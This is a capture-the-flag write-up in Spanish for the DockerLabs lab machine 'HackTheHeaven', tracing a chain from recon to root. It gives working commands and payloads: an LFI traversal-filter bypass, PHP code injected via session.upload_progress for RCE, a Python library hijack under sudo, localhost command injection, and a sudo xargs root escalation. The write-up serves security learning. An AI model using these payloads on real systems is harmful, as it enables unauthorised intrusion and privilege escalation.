DockerLabs · Máquina Linux

Conquistando HackTheHeaven

De un LFI con filtro de puntos suspensivos a shell de root, pasando por una condición de carrera en session.upload_progress y un secuestro de librería de Python.

Objetivo 172.17.0.2 Servicios 80/tcp (Apache) Dificultad Difícil Saltos de usuario 4
Fase 1

Reconocimiento

nmap · gobuster · una página de ídolos con una pista

Un único puerto abierto. Bajo idol.html — una página dedicada a los creadores de DockerLabs — un botón rojo bajo el texto "¿Qué es lo peor que puede pasar?" lleva a clouddev3lopmentfile.php, y encima de él, la pista: "No place like 127.0.0.1".

nmap
$ sudo nmap -p- -sCV 172.17.0.2 -min-rate 5000
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Bienvenido a HackTheHeaven
gobuster + curl
$ gobuster dir -u http://172.17.0.2 -w common.txt -x php,html
index.html    (Status: 200)
info.php      (Status: 200)   ← phpinfo(), file_uploads = On
server-status (Status: 403)

$ curl -s http://172.17.0.2/idol.html
  <h2>No place like</h2>
  <h2><b>127.0.0.1</b></h2>
  ...
  <button onclick="window.location.href = 'clouddev3lopmentfile.php'">
Fase 2

LFI y el filtro de puntos suspensivos

clouddev3lopmentfile.php?filename=

filename es un LFI clásico, pero con dos guardas encima: elimina ../ en un único pase (se salta duplicando la secuencia — ....// se convierte en ../ tras la limpieza) y bloquea por contenido cualquier ruta que lleve la palabra passwd o la extensión .php, con un mensaje de broma incluido.

bypass de traversal
$ curl "…?filename=../etc/hostname"
(vacío — el filtro se come el "../")

$ curl "…?filename=....//....//....//....//etc/hostname"
a27bf1c82dd8

$ curl "…?filename=....//....//....//....//etc/passwd"
No es posible visualizar el contenido, deja mis passwords en paz !!!

Cuatro repeticiones de ....// bastan para subir hasta la raíz y volver a bajar — la profundidad exacta del directorio de trabajo del script.

Fase 3

De LFI a ejecución de código

session.upload_progress · ruta predecible, sin condición de carrera

session.upload_progress estaba activo (On por defecto en PHP 8.3), y aquí está la gracia de esta variante frente a la de phpinfo(): el PHPSESSID lo elige el atacante, así que la ruta del archivo de sesión (session.save_path/sess_<PHPSESSID>) se conoce de antemano — nada que filtrar en una respuesta, nada que adivinar. Solo hay que mantener la subida abierta lo suficiente para leerlo antes de que se borre.

La clave

Subiendo el archivo a cámara lenta (fragmentos de 4 KB con una pequeña pausa entre cada uno) el archivo de sesión se queda varios segundos en disco — de sobra para leerlo, en vez de los milisegundos que da el truco de phpinfo().

lectura a mitad de subida
$ curl "…?filename=…/var/lib/php/sessions/sess_<PHPSESSID>"
upload_progress_x|a:5:{s:10:"start_time";i:...;
  s:5:"files";a:1:{i:0;a:7:{
    s:4:"name";s:8:"test.txt";   ← reflejado tal cual, sin escapar
    ...

El campo name del fichero subido se refleja sin filtrar dentro del array serializado. Sustituyendo el nombre del archivo por código PHP crudo, la inclusión lo ejecuta:

RCE confirmado
filename="<?php echo 'HTHPWNOK'; system($_GET['cmd']); ?>"

[+] RCE CONFIRMADO
HTHPWNOKuid=33(www-data) gid=33(www-data) groups=33(www-data)

/var/www/html resultó ser root:root 755 — sin permiso de escritura para www-data, así que en vez de plantar un webshell persistente, el mismo primitivo se usó directamente para lanzar una reverse shell.

Fase 4

Movimiento lateral

www-data → xerosec → mario

Una nota olvidada en /home, legible por cualquiera, resultó ser la primera grieta:

/home/NotaParaMario.txt
Hola Mario!
Acuerdate de revisar el script conjunto que estamos desarrollando
parar la comunidad! Lo he movido al directorio tmp

megustaelfallout

Borra esta nota cuando la leas.
SaltoTécnica
www-data → xerosecsu xerosec con la contraseña de la nota
xerosec → mariosudo -l permite (mario) NOPASSWD: python3 /tmp/script.py

/tmp/script.py hace import hashlib. Python resuelve módulos primero contra el directorio de trabajo actual — así que un hashlib.py propio en el mismo /tmp, con permisos de escritura para cualquiera, se carga en su lugar en cuanto mario ejecuta el script vía sudo.

secuestro de librería
xerosec@a27bf1c82dd8$ echo "import os" > /tmp/hashlib.py
xerosec@a27bf1c82dd8$ echo 'os.system("/bin/bash")' >> /tmp/hashlib.py
xerosec@a27bf1c82dd8$ sudo -u mario python3 /tmp/script.py
mario@a27bf1c82dd8$
Fase 5

El servicio interno de s4vitar

Inyección de comandos en localhost:9999

En /home/mario, otra pista: un servicio interno de s4vitar escuchando en el puerto 9999, invocable con index.php?cmds4vi=<comando>.

Código fuente — /opt/web/index.php

if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') { shell_exec($_GET['cmds4vi']); }

Inyección de comandos directa, sin sanear — con el único requisito de que la petición llegue desde la propia máquina.

inyección de comandos
mario@a27bf1c82dd8$ curl http://localhost:9999/index.php?cmds4vi=id
uid=1001(s4vitar) gid=1001(s4vitar) groups=1001(s4vitar),100(users)
Nota de entorno

La primera pasada devolvió Acceso denegado. sin más — el check compara REMOTE_ADDR contra la cadena exacta 127.0.0.1, y en este contenedor localhost resolvía primero a ::1 (confirmado con /proc/net/tcp6 y un var_dump($_SERVER) propio). Forzando la resolución a IPv4 y relanzando el servicio, la petición pasa el check sin tocar el payload.

Fase 6 · Final

s4vitar → root

GTFOBins, la última puerta

Una reverse shell sobre la inyección de comandos, y sudo -l cierra la cadena:

escalada final
s4vitar@…$ sudo -l
User s4vitar may run the following commands:
    (root) NOPASSWD: /usr/bin/xargs

s4vitar@…$ sudo /usr/bin/xargs -a /dev/null bash
root@…$ id
uid=0(root) gid=0(root) groups=0(root)
🗝️

"Felicidades, has conquistado el cielo del hacking."

/root/root.txt